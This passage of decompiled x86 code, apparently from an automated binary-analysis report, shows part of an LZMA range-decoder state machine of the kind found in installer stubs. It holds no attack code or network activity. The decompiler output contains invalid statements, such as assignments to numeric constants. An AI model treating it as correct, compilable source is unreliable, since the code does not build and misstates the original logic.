                                      								 *(__ebp - 0x40) = 1;
                                      								__cx = __ax >> 5;
                                      								__ebx = __ebx + __ebx + 1;
                                      								 *__esi = __ax;
                                      							} else {
                                      								 *(__ebp - 0x40) =  *(__ebp - 0x40) & 0x00000000;
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edx;
                                      								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
                                      								__ebx = __ebx + __ebx;
                                      								 *__esi = __cx;
                                      							}
                                      							 *(__ebp - 0x44) = __ebx;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								L38:
                                      								__eax =  *(__ebp - 0x40);
                                      								if( *(__ebp - 0x48) !=  *(__ebp - 0x40)) {
                                      									while(1) {
                                      										if(__ebx >= 0x100) {
                                      											break;
                                      										}
                                      										__eax =  *(__ebp - 0x58);
                                      										__edx = __ebx + __ebx;
                                      										__ecx =  *(__ebp - 0x10);
                                      										__esi = __edx + __eax;
                                      										__ecx =  *(__ebp - 0x10) >> 0xb;
                                      										__ax =  *__esi;
                                      										 *(__ebp - 0x54) = __esi;
                                      										__edi = __ax & 0x0000ffff;
                                      										__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      										if( *(__ebp - 0xc) >= __ecx) {
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      											__cx = __ax;
                                      											_t169 = __edx + 1; // 0x1
                                      											__ebx = _t169;
                                      											__cx = __ax >> 5;
                                      											 *__esi = __ax;
                                      										} else {
                                      											 *(__ebp - 0x10) = __ecx;
                                      											0x800 = 0x800 - __edi;
                                      											0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      											__ebx = __ebx + __ebx;
                                      											 *__esi = __cx;
                                      										}
                                      										 *(__ebp - 0x44) = __ebx;
                                      										if( *(__ebp - 0x10) < 0x1000000) {
                                      											L45:
                                      											if( *(__ebp - 0x6c) == 0) {
                                      												 *(__ebp - 0x88) = 0xe;
                                      												goto L170;
                                      											}
                                      											__ecx =  *(__ebp - 0x70);
                                      											__eax =  *(__ebp - 0xc);
                                      											 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      											__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      											 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      											_t155 = __ebp - 0x70;
                                      											 *_t155 =  *(__ebp - 0x70) + 1;
                                      											 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      										}
                                      									}
                                      									L53:
                                      									_t172 = __ebp - 0x34;
                                      									 *_t172 =  *(__ebp - 0x34) & 0x00000000;
                                      									L54:
                                      									__al =  *(__ebp - 0x44);
                                      									 *(__ebp - 0x5c) =  *(__ebp - 0x44);
                                      									L55:
                                      									if( *(__ebp - 0x64) == 0) {
                                      										 *(__ebp - 0x88) = 0x1a;
                                      										goto L170;
                                      									}
                                      									__ecx =  *(__ebp - 0x68);
                                      									__al =  *(__ebp - 0x5c);
                                      									__edx =  *(__ebp - 8);
                                      									 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      									 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      									 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      									 *( *(__ebp - 0x68)) = __al;
                                      									__ecx =  *(__ebp - 0x14);
                                      									 *(__ecx +  *(__ebp - 8)) = __al;
                                      									__eax = __ecx + 1;
                                      									__edx = 0;
                                      									_t191 = __eax %  *(__ebp - 0x74);
                                      									__eax = __eax /  *(__ebp - 0x74);
                                      									__edx = _t191;
                                      									L79:
                                      									 *(__ebp - 0x14) = __edx;
                                      									L80:
                                      									 *(__ebp - 0x88) = 2;
                                      									goto L1;
                                      								}
                                      								if(__ebx >= 0x100) {
                                      									goto L53;
                                      								}
                                      								goto L40;
                                      							} else {
                                      								L36:
                                      								if( *(__ebp - 0x6c) == 0) {
                                      									 *(__ebp - 0x88) = 0xd;
                                      									L170:
                                      									_t568 = 0x22;
                                      									memcpy( *(_t614 - 0x90), _t614 - 0x88, _t568 << 2);
                                      									_t535 = 0;
                                      									L172:
                                      									return _t535;
                                      								}
                                      								__ecx =  *(__ebp - 0x70);
                                      								__eax =  *(__ebp - 0xc);
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      								__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      								 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								_t121 = __ebp - 0x70;
                                      								 *_t121 =  *(__ebp - 0x70) + 1;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      								goto L38;
                                      							}
                                      						}
                                      					}
                                      					L1:
                                      					_t534 =  *(_t614 - 0x88);
                                      					if(_t534 > 0x1c) {
                                      						L171:
                                      						_t535 = _t534 | 0xffffffff;
                                      						goto L172;
                                      					}
                                      					switch( *((intOrPtr*)(_t534 * 4 +  &M004071F9))) {
                                      						case 0:
                                      							if( *(_t614 - 0x6c) == 0) {
                                      								goto L170;
                                      							}
                                      							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                      							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                      							_t534 =  *( *(_t614 - 0x70));
                                      							if(_t534 > 0xe1) {
                                      								goto L171;
                                      							}
                                      							_t538 = _t534 & 0x000000ff;
                                      							_push(0x2d);
                                      							asm("cdq");
                                      							_pop(_t570);
                                      							_push(9);
                                      							_pop(_t571);
                                      							_t610 = _t538 / _t570;
                                      							_t540 = _t538 % _t570 & 0x000000ff;
                                      							asm("cdq");
                                      							_t605 = _t540 % _t571 & 0x000000ff;
                                      							 *(_t614 - 0x3c) = _t605;
                                      							 *(_t614 - 0x1c) = (1 << _t610) - 1;
                                      							 *((intOrPtr*)(_t614 - 0x18)) = (1 << _t540 / _t571) - 1;
                                      							_t613 = (0x300 << _t605 + _t610) + 0x736;
                                      							if(0x600 ==  *((intOrPtr*)(_t614 - 0x78))) {
                                      								L10:
                                      								if(_t613 == 0) {
                                      									L12:
                                      									 *(_t614 - 0x48) =  *(_t614 - 0x48) & 0x00000000;
                                      									 *(_t614 - 0x40) =  *(_t614 - 0x40) & 0x00000000;
                                      									goto L15;
                                      								} else {
                                      									goto L11;
                                      								}
                                      								do {
                                      									L11:
                                      									_t613 = _t613 - 1;
                                      									 *((short*)( *(_t614 - 4) + _t613 * 2)) = 0x400;
                                      								} while (_t613 != 0);
                                      								goto L12;
                                      							}
                                      							if( *(_t614 - 4) != 0) {
                                      								GlobalFree( *(_t614 - 4)); // executed
                                      							}
                                      							_t534 = GlobalAlloc(0x40, 0x600); // executed
                                      							 *(_t614 - 4) = _t534;
                                      							if(_t534 == 0) {
                                      								goto L171;
                                      							} else {
                                      								 *((intOrPtr*)(_t614 - 0x78)) = 0x600;
                                      								goto L10;
                                      							}
                                      						case 1:
                                      							L13:
                                      							__eflags =  *(_t614 - 0x6c);
                                      							if( *(_t614 - 0x6c) == 0) {
                                      								 *(_t614 - 0x88) = 1;
                                      								goto L170;
                                      							}
                                      							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                      							 *(_t614 - 0x40) =  *(_t614 - 0x40) | ( *( *(_t614 - 0x70)) & 0x000000ff) <<  *(_t614 - 0x48) << 0x00000003;
                                      							 *(_t614 - 0x70) =  &(( *(_t614 - 0x70))[1]);
                                      							_t45 = _t614 - 0x48;
                                      							 *_t45 =  *(_t614 - 0x48) + 1;
                                      							__eflags =  *_t45;
                                      							L15:
                                      							if( *(_t614 - 0x48) < 4) {
                                      								goto L13;
                                      							}
                                      							_t546 =  *(_t614 - 0x40);
                                      							if(_t546 ==  *(_t614 - 0x74)) {
                                      								L20:
                                      								 *(_t614 - 0x48) = 5;
                                      								 *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) =  *( *(_t614 - 8) +  *(_t614 - 0x74) - 1) & 0x00000000;
                                      								goto L23;
                                      							}
                                      							 *(_t614 - 0x74) = _t546;
                                      							if( *(_t614 - 8) != 0) {
                                      								GlobalFree( *(_t614 - 8)); // executed
                                      							}
                                      							_t534 = GlobalAlloc(0x40,  *(_t614 - 0x40)); // executed
                                      							 *(_t614 - 8) = _t534;
                                      							if(_t534 == 0) {
                                      								goto L171;
                                      							} else {
                                      								goto L20;
                                      							}
                                      						case 2:
                                      							L24:
                                      							_t553 =  *(_t614 - 0x60) &  *(_t614 - 0x1c);
                                      							 *(_t614 - 0x84) = 6;
                                      							 *(_t614 - 0x4c) = _t553;
                                      							_t607 =  *(_t614 - 4) + (( *(_t614 - 0x38) << 4) + _t553) * 2;
                                      							goto L132;
                                      						case 3:
                                      							L21:
                                      							__eflags =  *(_t614 - 0x6c);
                                      							if( *(_t614 - 0x6c) == 0) {
                                      								 *(_t614 - 0x88) = 3;
                                      								goto L170;
                                      							}
                                      							 *(_t614 - 0x6c) =  *(_t614 - 0x6c) - 1;
                                      							_t67 = _t614 - 0x70;
                                      							 *_t67 =  &(( *(_t614 - 0x70))[1]);
                                      							__eflags =  *_t67;
                                      							 *(_t614 - 0xc) =  *(_t614 - 0xc) << 0x00000008 |  *( *(_t614 - 0x70)) & 0x000000ff;
                                      							L23:
                                      							 *(_t614 - 0x48) =  *(_t614 - 0x48) - 1;
                                      							if( *(_t614 - 0x48) != 0) {
                                      								goto L21;
                                      							}
                                      							goto L24;
                                      						case 4:
                                      							goto L133;
                                      						case 5:
                                      							goto L137;
                                      						case 6:
                                      							goto L0;
                                      						case 7:
                                      							__eflags =  *(__ebp - 0x40) - 1;
                                      							if( *(__ebp - 0x40) != 1) {
                                      								__eax =  *(__ebp - 0x24);
                                      								 *(__ebp - 0x80) = 0x16;
                                      								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      								__eax =  *(__ebp - 0x28);
                                      								 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      								__eax =  *(__ebp - 0x2c);
                                      								 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      								__eax = 0;
                                      								__eflags =  *(__ebp - 0x38) - 7;
                                      								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      								__al = __al & 0x000000fd;
                                      								__eax = (__eflags >= 0) - 1 + 0xa;
                                      								 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xa;
                                      								__eax =  *(__ebp - 4);
                                      								__eax =  *(__ebp - 4) + 0x664;
                                      								__eflags = __eax;
                                      								 *(__ebp - 0x58) = __eax;
                                      								goto L68;
                                      							}
                                      							__eax =  *(__ebp - 4);
                                      							__ecx =  *(__ebp - 0x38);
                                      							 *(__ebp - 0x84) = 8;
                                      							__esi =  *(__ebp - 4) + 0x198 +  *(__ebp - 0x38) * 2;
                                      							goto L132;
                                      						case 8:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 4);
                                      								__ecx =  *(__ebp - 0x38);
                                      								 *(__ebp - 0x84) = 0xa;
                                      								__esi =  *(__ebp - 4) + 0x1b0 +  *(__ebp - 0x38) * 2;
                                      							} else {
                                      								__eax =  *(__ebp - 0x38);
                                      								__ecx =  *(__ebp - 4);
                                      								__eax =  *(__ebp - 0x38) + 0xf;
                                      								 *(__ebp - 0x84) = 9;
                                      								 *(__ebp - 0x38) + 0xf << 4 = ( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c);
                                      								__esi =  *(__ebp - 4) + (( *(__ebp - 0x38) + 0xf << 4) +  *(__ebp - 0x4c)) * 2;
                                      							}
                                      							goto L132;
                                      						case 9:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								goto L89;
                                      							}
                                      							__eflags =  *(__ebp - 0x60);
                                      							if( *(__ebp - 0x60) == 0) {
                                      								goto L171;
                                      							}
                                      							__eax = 0;
                                      							__eflags =  *(__ebp - 0x38) - 7;
                                      							_t258 =  *(__ebp - 0x38) - 7 >= 0;
                                      							__eflags = _t258;
                                      							0 | _t258 = _t258 + _t258 + 9;
                                      							 *(__ebp - 0x38) = _t258 + _t258 + 9;
                                      							goto L75;
                                      						case 0xa:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 4);
                                      								__ecx =  *(__ebp - 0x38);
                                      								 *(__ebp - 0x84) = 0xb;
                                      								__esi =  *(__ebp - 4) + 0x1c8 +  *(__ebp - 0x38) * 2;
                                      								goto L132;
                                      							}
                                      							__eax =  *(__ebp - 0x28);
                                      							goto L88;
                                      						case 0xb:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__ecx =  *(__ebp - 0x24);
                                      								__eax =  *(__ebp - 0x20);
                                      								 *(__ebp - 0x20) =  *(__ebp - 0x24);
                                      							} else {
                                      								__eax =  *(__ebp - 0x24);
                                      							}
                                      							__ecx =  *(__ebp - 0x28);
                                      							 *(__ebp - 0x24) =  *(__ebp - 0x28);
                                      							L88:
                                      							__ecx =  *(__ebp - 0x2c);
                                      							 *(__ebp - 0x2c) = __eax;
                                      							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
                                      							L89:
                                      							__eax =  *(__ebp - 4);
                                      							 *(__ebp - 0x80) = 0x15;
                                      							__eax =  *(__ebp - 4) + 0xa68;
                                      							 *(__ebp - 0x58) =  *(__ebp - 4) + 0xa68;
                                      							goto L68;
                                      						case 0xc:
                                      							L99:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0xc;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t334 = __ebp - 0x70;
                                      							 *_t334 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t334;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							__eax =  *(__ebp - 0x2c);
                                      							goto L101;
                                      						case 0xd:
                                      							goto L36;
                                      						case 0xe:
                                      							goto L45;
                                      						case 0xf:
                                      							goto L57;
                                      						case 0x10:
                                      							L109:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0x10;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t365 = __ebp - 0x70;
                                      							 *_t365 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t365;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							goto L111;
                                      						case 0x11:
                                      							L68:
                                      							__esi =  *(__ebp - 0x58);
                                      							 *(__ebp - 0x84) = 0x12;
                                      							goto L132;
                                      						case 0x12:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								__eax =  *(__ebp - 0x58);
                                      								 *(__ebp - 0x84) = 0x13;
                                      								__esi =  *(__ebp - 0x58) + 2;
                                      								goto L132;
                                      							}
                                      							__eax =  *(__ebp - 0x4c);
                                      							 *(__ebp - 0x30) =  *(__ebp - 0x30) & 0x00000000;
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax =  *(__ebp - 0x4c) << 4;
                                      							__eflags = __eax;
                                      							__eax =  *(__ebp - 0x58) + __eax + 4;
                                      							goto L130;
                                      						case 0x13:
                                      							__eflags =  *(__ebp - 0x40);
                                      							if( *(__ebp - 0x40) != 0) {
                                      								_t469 = __ebp - 0x58;
                                      								 *_t469 =  *(__ebp - 0x58) + 0x204;
                                      								__eflags =  *_t469;
                                      								 *(__ebp - 0x30) = 0x10;
                                      								 *(__ebp - 0x40) = 8;
                                      								L144:
                                      								 *(__ebp - 0x7c) = 0x14;
                                      								goto L145;
                                      							}
                                      							__eax =  *(__ebp - 0x4c);
                                      							__ecx =  *(__ebp - 0x58);
                                      							__eax =  *(__ebp - 0x4c) << 4;
                                      							 *(__ebp - 0x30) = 8;
                                      							__eax =  *(__ebp - 0x58) + ( *(__ebp - 0x4c) << 4) + 0x104;
                                      							L130:
                                      							 *(__ebp - 0x58) = __eax;
                                      							 *(__ebp - 0x40) = 3;
                                      							goto L144;
                                      						case 0x14:
                                      							 *(__ebp - 0x30) =  *(__ebp - 0x30) + __ebx;
                                      							__eax =  *(__ebp - 0x80);
                                      							goto L140;
                                      						case 0x15:
                                      							__eax = 0;
                                      							__eflags =  *(__ebp - 0x38) - 7;
                                      							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
                                      							__al = __al & 0x000000fd;
                                      							__eax = (__eflags >= 0) - 1 + 0xb;
                                      							 *(__ebp - 0x38) = (__eflags >= 0) - 1 + 0xb;
                                      							goto L120;
                                      						case 0x16:
                                      							__eax =  *(__ebp - 0x30);
                                      							__eflags = __eax - 4;
                                      							if(__eax >= 4) {
                                      								_push(3);
                                      								_pop(__eax);
                                      							}
                                      							__ecx =  *(__ebp - 4);
                                      							 *(__ebp - 0x40) = 6;
                                      							__eax = __eax << 7;
                                      							 *(__ebp - 0x7c) = 0x19;
                                      							 *(__ebp - 0x58) = __eax;
                                      							goto L145;
                                      						case 0x17:
                                      							L145:
                                      							__eax =  *(__ebp - 0x40);
                                      							 *(__ebp - 0x50) = 1;
                                      							 *(__ebp - 0x48) =  *(__ebp - 0x40);
                                      							goto L149;
                                      						case 0x18:
                                      							L146:
                                      							__eflags =  *(__ebp - 0x6c);
                                      							if( *(__ebp - 0x6c) == 0) {
                                      								 *(__ebp - 0x88) = 0x18;
                                      								goto L170;
                                      							}
                                      							__ecx =  *(__ebp - 0x70);
                                      							__eax =  *(__ebp - 0xc);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) << 8;
                                      							__ecx =  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							 *(__ebp - 0x6c) =  *(__ebp - 0x6c) - 1;
                                      							 *(__ebp - 0xc) << 8 =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							_t484 = __ebp - 0x70;
                                      							 *_t484 =  *(__ebp - 0x70) + 1;
                                      							__eflags =  *_t484;
                                      							 *(__ebp - 0xc) =  *(__ebp - 0xc) << 0x00000008 |  *( *(__ebp - 0x70)) & 0x000000ff;
                                      							L148:
                                      							_t487 = __ebp - 0x48;
                                      							 *_t487 =  *(__ebp - 0x48) - 1;
                                      							__eflags =  *_t487;
                                      							L149:
                                      							__eflags =  *(__ebp - 0x48);
                                      							if( *(__ebp - 0x48) <= 0) {
                                      								__ecx =  *(__ebp - 0x40);
                                      								__ebx =  *(__ebp - 0x50);
                                      								0 = 1;
                                      								__eax = 1 << __cl;
                                      								__ebx =  *(__ebp - 0x50) - (1 << __cl);
                                      								__eax =  *(__ebp - 0x7c);
                                      								 *(__ebp - 0x44) = __ebx;
                                      								goto L140;
                                      							}
                                      							__eax =  *(__ebp - 0x50);
                                      							 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      							__edx =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      							__eax =  *(__ebp - 0x58);
                                      							__esi = __edx + __eax;
                                      							 *(__ebp - 0x54) = __esi;
                                      							__ax =  *__esi;
                                      							__edi = __ax & 0x0000ffff;
                                      							__ecx = ( *(__ebp - 0x10) >> 0xb) * __edi;
                                      							__eflags =  *(__ebp - 0xc) - __ecx;
                                      							if( *(__ebp - 0xc) >= __ecx) {
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) - __ecx;
                                      								 *(__ebp - 0xc) =  *(__ebp - 0xc) - __ecx;
                                      								__cx = __ax;
                                      								__cx = __ax >> 5;
                                      								__eax = __eax - __ecx;
                                      								__edx = __edx + 1;
                                      								__eflags = __edx;
                                      								 *__esi = __ax;
                                      								 *(__ebp - 0x50) = __edx;
                                      							} else {
                                      								 *(__ebp - 0x10) = __ecx;
                                      								0x800 = 0x800 - __edi;
                                      								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
                                      								 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      								 *__esi = __cx;
                                      							}
                                      							__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      							if( *(__ebp - 0x10) >= 0x1000000) {
                                      								goto L148;
                                      							} else {
                                      								goto L146;
                                      							}
                                      						case 0x19:
                                      							__eflags = __ebx - 4;
                                      							if(__ebx < 4) {
                                      								 *(__ebp - 0x2c) = __ebx;
                                      								L119:
                                      								_t393 = __ebp - 0x2c;
                                      								 *_t393 =  *(__ebp - 0x2c) + 1;
                                      								__eflags =  *_t393;
                                      								L120:
                                      								__eax =  *(__ebp - 0x2c);
                                      								__eflags = __eax;
                                      								if(__eax == 0) {
                                      									 *(__ebp - 0x30) =  *(__ebp - 0x30) | 0xffffffff;
                                      									goto L170;
                                      								}
                                      								__eflags = __eax -  *(__ebp - 0x60);
                                      								if(__eax >  *(__ebp - 0x60)) {
                                      									goto L171;
                                      								}
                                      								 *(__ebp - 0x30) =  *(__ebp - 0x30) + 2;
                                      								__eax =  *(__ebp - 0x30);
                                      								_t400 = __ebp - 0x60;
                                      								 *_t400 =  *(__ebp - 0x60) +  *(__ebp - 0x30);
                                      								__eflags =  *_t400;
                                      								goto L123;
                                      							}
                                      							__ecx = __ebx;
                                      							__eax = __ebx;
                                      							__ecx = __ebx >> 1;
                                      							__eax = __ebx & 0x00000001;
                                      							__ecx = (__ebx >> 1) - 1;
                                      							__al = __al | 0x00000002;
                                      							__eax = (__ebx & 0x00000001) << __cl;
                                      							__eflags = __ebx - 0xe;
                                      							 *(__ebp - 0x2c) = __eax;
                                      							if(__ebx >= 0xe) {
                                      								__ebx = 0;
                                      								 *(__ebp - 0x48) = __ecx;
                                      								L102:
                                      								__eflags =  *(__ebp - 0x48);
                                      								if( *(__ebp - 0x48) <= 0) {
                                      									__eax = __eax + __ebx;
                                      									 *(__ebp - 0x40) = 4;
                                      									 *(__ebp - 0x2c) = __eax;
                                      									__eax =  *(__ebp - 4);
                                      									__eax =  *(__ebp - 4) + 0x644;
                                      									__eflags = __eax;
                                      									L108:
                                      									__ebx = 0;
                                      									 *(__ebp - 0x58) = __eax;
                                      									 *(__ebp - 0x50) = 1;
                                      									 *(__ebp - 0x44) = 0;
                                      									 *(__ebp - 0x48) = 0;
                                      									L112:
                                      									__eax =  *(__ebp - 0x40);
                                      									__eflags =  *(__ebp - 0x48) -  *(__ebp - 0x40);
                                      									if( *(__ebp - 0x48) >=  *(__ebp - 0x40)) {
                                      										_t391 = __ebp - 0x2c;
                                      										 *_t391 =  *(__ebp - 0x2c) + __ebx;
                                      										__eflags =  *_t391;
                                      										goto L119;
                                      									}
                                      									__eax =  *(__ebp - 0x50);
                                      									 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 0xb;
                                      									__edi =  *(__ebp - 0x50) +  *(__ebp - 0x50);
                                      									__eax =  *(__ebp - 0x58);
                                      									__esi = __edi + __eax;
                                      									 *(__ebp - 0x54) = __esi;
                                      									__ax =  *__esi;
                                      									__ecx = __ax & 0x0000ffff;
                                      									__edx = ( *(__ebp - 0x10) >> 0xb) * __ecx;
                                      									__eflags =  *(__ebp - 0xc) - __edx;
                                      									if( *(__ebp - 0xc) >= __edx) {
                                      										__ecx = 0;
                                      										 *(__ebp - 0x10) =  *(__ebp - 0x10) - __edx;
                                      										__ecx = 1;
                                      										 *(__ebp - 0xc) =  *(__ebp - 0xc) - __edx;
                                      										__ebx = 1;
                                      										__ecx =  *(__ebp - 0x48);
                                      										__ebx = 1 << __cl;
                                      										__ecx = 1 << __cl;
                                      										__ebx =  *(__ebp - 0x44);
                                      										__ebx =  *(__ebp - 0x44) | __ecx;
                                      										__cx = __ax;
                                      										__cx = __ax >> 5;
                                      										__eax = __eax - __ecx;
                                      										__edi = __edi + 1;
                                      										__eflags = __edi;
                                      										 *(__ebp - 0x44) = __ebx;
                                      										 *__esi = __ax;
                                      										 *(__ebp - 0x50) = __edi;
                                      									} else {
                                      										 *(__ebp - 0x10) = __edx;
                                      										0x800 = 0x800 - __ecx;
                                      										0x800 - __ecx >> 5 = (0x800 - __ecx >> 5) + __eax;
                                      										 *(__ebp - 0x50) =  *(__ebp - 0x50) << 1;
                                      										 *__esi = __dx;
                                      									}
                                      									__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      									if( *(__ebp - 0x10) >= 0x1000000) {
                                      										L111:
                                      										_t368 = __ebp - 0x48;
                                      										 *_t368 =  *(__ebp - 0x48) + 1;
                                      										__eflags =  *_t368;
                                      										goto L112;
                                      									} else {
                                      										goto L109;
                                      									}
                                      								}
                                      								__ecx =  *(__ebp - 0xc);
                                      								__ebx = __ebx + __ebx;
                                      								 *(__ebp - 0x10) =  *(__ebp - 0x10) >> 1;
                                      								__eflags =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      								 *(__ebp - 0x44) = __ebx;
                                      								if( *(__ebp - 0xc) >=  *(__ebp - 0x10)) {
                                      									__ecx =  *(__ebp - 0x10);
                                      									 *(__ebp - 0xc) =  *(__ebp - 0xc) -  *(__ebp - 0x10);
                                      									__ebx = __ebx | 0x00000001;
                                      									__eflags = __ebx;
                                      									 *(__ebp - 0x44) = __ebx;
                                      								}
                                      								__eflags =  *(__ebp - 0x10) - 0x1000000;
                                      								if( *(__ebp - 0x10) >= 0x1000000) {
                                      									L101:
                                      									_t338 = __ebp - 0x48;
                                      									 *_t338 =  *(__ebp - 0x48) - 1;
                                      									__eflags =  *_t338;
                                      									goto L102;
                                      								} else {
                                      									goto L99;
                                      								}
                                      							}
                                      							__edx =  *(__ebp - 4);
                                      							__eax = __eax - __ebx;
                                      							 *(__ebp - 0x40) = __ecx;
                                      							__eax =  *(__ebp - 4) + 0x55e + __eax * 2;
                                      							goto L108;
                                      						case 0x1a:
                                      							goto L55;
                                      						case 0x1b:
                                      							L75:
                                      							__eflags =  *(__ebp - 0x64);
                                      							if( *(__ebp - 0x64) == 0) {
                                      								 *(__ebp - 0x88) = 0x1b;
                                      								goto L170;
                                      							}
                                      							__eax =  *(__ebp - 0x14);
                                      							__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      							__eflags = __eax -  *(__ebp - 0x74);
                                      							if(__eax >=  *(__ebp - 0x74)) {
                                      								__eax = __eax +  *(__ebp - 0x74);
                                      								__eflags = __eax;
                                      							}
                                      							__edx =  *(__ebp - 8);
                                      							__cl =  *(__eax + __edx);
                                      							__eax =  *(__ebp - 0x14);
                                      							 *(__ebp - 0x5c) = __cl;
                                      							 *(__eax + __edx) = __cl;
                                      							__eax = __eax + 1;
                                      							__edx = 0;
                                      							_t274 = __eax %  *(__ebp - 0x74);
                                      							__eax = __eax /  *(__ebp - 0x74);
                                      							__edx = _t274;
                                      							__eax =  *(__ebp - 0x68);
                                      							 *(__ebp - 0x60) =  *(__ebp - 0x60) + 1;
                                      							 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      							_t283 = __ebp - 0x64;
                                      							 *_t283 =  *(__ebp - 0x64) - 1;
                                      							__eflags =  *_t283;
                                      							 *( *(__ebp - 0x68)) = __cl;
                                      							goto L79;
                                      						case 0x1c:
                                      							while(1) {
                                      								L123:
                                      								__eflags =  *(__ebp - 0x64);
                                      								if( *(__ebp - 0x64) == 0) {
                                      									break;
                                      								}
                                      								__eax =  *(__ebp - 0x14);
                                      								__eax =  *(__ebp - 0x14) -  *(__ebp - 0x2c);
                                      								__eflags = __eax -  *(__ebp - 0x74);
                                      								if(__eax >=  *(__ebp - 0x74)) {
                                      									__eax = __eax +  *(__ebp - 0x74);
                                      									__eflags = __eax;
                                      								}
                                      								__edx =  *(__ebp - 8);
                                      								__cl =  *(__eax + __edx);
                                      								__eax =  *(__ebp - 0x14);
                                      								 *(__ebp - 0x5c) = __cl;
                                      								 *(__eax + __edx) = __cl;
                                      								__eax = __eax + 1;
                                      								__edx = 0;
                                      								_t414 = __eax %  *(__ebp - 0x74);
                                      								__eax = __eax /  *(__ebp - 0x74);
                                      								__edx = _t414;
                                      								__eax =  *(__ebp - 0x68);
                                      								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
                                      								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
                                      								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
                                      								__eflags =  *(__ebp - 0x30);
